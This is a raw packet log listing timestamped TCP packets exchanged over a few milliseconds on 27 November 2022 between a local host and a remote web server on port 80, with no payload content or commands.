Nov 27, 2022 04:36:43.037955046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037966013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037974119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037991047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037992001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038011074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038012028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038012028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038028002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038034916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038047075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038064957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038064957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038083076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038084984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038100958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038110971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038119078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038136959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038141966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038156033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038160086 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038173914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038192034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038192987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038192987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038211107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038216114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038216114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038229942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038240910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038248062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038265944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038271904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038271904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038285017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038290024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038300991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038304090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038325071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038330078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038342953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038347960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038362026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038379908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038384914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038398027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038413048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038417101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038434029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038438082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038455009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038484097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038491964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038506031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038511992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038532972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038532972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038547993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038552999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038567066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038574934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038585901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038597107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038610935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038615942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038634062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038635015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038655043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038662910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038675070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038695097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038698912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038698912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038698912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038713932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038718939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038733959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038742065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038754940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038762093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038781881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038785934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038801908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038810968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038821936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038842916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038851976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038851976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038862944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038871050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038897991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038909912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038909912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038923979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038944006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038963079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038975954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.038988113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038988113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.038995981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039016008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039016962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039037943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039042950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039057970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039067030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039077997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039098978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039103985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039118052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039124012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039139032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039156914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039156914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039171934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039177895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039189100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039201021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039205074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039222002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039227962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039242983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039242983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039262056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039266109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039284945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039289951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039304972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039304972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039323092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039330959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039343119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039344072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039360046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039361954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039381981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039382935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039402008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039412022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039422989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039428949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039443016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039443970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039463043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039482117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039488077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039488077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039500952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039504051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039520025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039530993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039541006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039546013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039561033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039566994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039580107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039583921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039599895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039606094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039618969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039623976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039638042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039642096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039659023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039660931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039678097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039678097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039691925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039699078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039716005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039724112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039735079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039736986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039756060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039757013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039773941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039773941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039793015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039803982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039813995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039820910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039834023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039834976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039851904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039855957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039869070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039875984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039895058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039900064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039913893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039932966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039935112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039951086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039954901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039971113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.039984941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.039990902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040010929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040010929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040024042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040030003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040049076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040055037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040066957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040082932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040082932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040085077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040102005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040117979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040119886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040137053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040147066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040153980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040159941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040174007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040174961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040189981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040191889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040210962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040220022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040226936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040232897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040246010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040256977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040263891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040270090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040283918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040287018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040302038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040302992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040321112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040321112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040339947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040350914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040359020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040364981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040379047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040388107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040396929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040405989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040415049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040420055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040433884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040441036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040453911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040460110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040472031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040472984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040489912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040491104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040509939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040512085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040528059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040538073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040545940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040551901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040565968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040569067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040584087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040587902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040601015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040601969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040620089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040631056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040636063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040646076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040654898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040657043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040673018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040674925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040693045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040693998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040710926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040721893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040729046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040736914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040747881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040760994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040766954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040785074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040790081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040803909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040805101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040817022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040826082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040843964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040846109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040860891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040863991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040874958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040884018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040888071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040903091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040906906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040921926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040923119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040941954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040944099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040956020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040961981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040980101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.040986061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.040997982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041004896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041017056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041023016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041035891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041038990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041054964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041062117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041074991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041079044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041093111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041099072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041110992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041116953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041130066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041131020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041148901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041157961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041167974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041172981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041184902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041186094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041203022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041212082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041222095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041227102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041239977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041239977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041259050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041260004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041275978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041281939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041296005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041296005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041313887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.041322947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.041332960 CET	80	49705	66.235.200.147	192.168.2.5
